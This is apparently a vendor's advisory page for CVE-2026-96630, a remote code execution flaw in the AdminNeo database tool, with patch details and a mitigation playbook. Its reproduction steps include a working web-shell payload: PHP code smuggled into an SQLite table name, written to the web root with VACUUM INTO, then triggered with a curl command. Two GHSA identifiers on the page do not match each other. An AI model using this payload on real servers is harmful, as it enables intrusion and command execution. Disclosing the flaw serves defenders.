Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐘
🐘 Packagist
Not in CISA KEV
HIGH severity

CVE-2026-96630 — adminneo

HIGHFix: adminneo-org/adminneo@cf45efb

CVE-2026-96630 is a high-severity (CVSS 7.2) vulnerability in adminneo-org/adminneo. A fix is available for adminneo-org/adminneo — see the affected versions and patch details below.

AdminNeo: RCE via SQLite VACUUM INTO (ATTACH Blocklist Bypass)

Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 30, 2026 · OSV.dev, FIRST.org (EPSS)

Real-World Exposure

1 pkg affected
🐘adminneo-org/adminneo

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Adminer blocks ATTACH queries for SQLite to prevent arbitrary file creation. However, VACUUM INTO is not blocked and achieves the same result: writing a database file containing attacker-controlled PHP code to any path with any extension. An authenticated SQLite user can write a web shell to the web root and execute commands.

Originally reported in Adminer: GHSA-q4f2-39gr-45jh

Root Cause

sql.inc.php, line 146:

if (DIALECT == "sqlite" && preg_match("~^$space*+ATTACH\\b~i", $q, $match)) {
    // blocked
}

Only ATTACH is in the blocklist. VACUUM INTO (available since SQLite 3.27.0) writes the entire database to a new file at an arbitrary path with an arbitrary extension. It is not checked.

Steps To Reproduce

1. Login to SQLite

  1. Open AdminNeo and select driver: SQLite
  2. Login and create a new database (e.g., stage.db)

2. Inject PHP code and write the shell

Navigate to SQL command and execute:

CREATE TABLE "<?php system($_GET['c']); ?>" (i int);
VACUUM INTO '/var/www/html/shell.php';

The SQLite file is written to /var/www/html/shell.php. The table name containing <?php appears as raw bytes in the file. PHP's parser finds and executes it.

3. Execute commands

curl "http://TARGET/shell.php?c=id"
# uid=0(root) gid=0(root) groups=0(root)

Collaborator Request

This vulnerability was discovered jointly with Yashar Shahinzadeh (GitHub: @voorivex). Could you please add him as a collaborator on this advisory and credit him as a co-discoverer? Thank you!

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐘Packagistadminneo-org/adminneoall versions5.5.1composer require adminneo-org/adminneo:^5.5.1

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for adminneo-org/adminneo, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update adminneo-org/adminneo to 5.5.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-96630 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

Frequently Asked Questions

## Summary Adminer blocks `ATTACH` queries for SQLite to prevent arbitrary file creation. However, `VACUUM INTO` is not blocked and achieves the same result: writing a database file containing attacker-controlled PHP code to any path with any extension. An authenticated SQLite user can write a web shell to the web root and execute commands. Originally reported in Adminer: [GHSA-q4f2-39gr-45jh](https://github.com/vrana/adminer/security/advisories/GHSA-gmx3-g29w-77wf) ## Root Cause sql.inc.php, line 146: ```php if (DIALECT == "sqlite" && preg_match("~^$space*+ATTACH\\b~i", $q, $match)) {
O3 Security · Impact-Aware SCA

Is CVE-2026-96630 in your dependencies?

Find it across Packagist, including transitive dependencies.

CVE-2026-96630: adminneo — Fixed in 5.5.1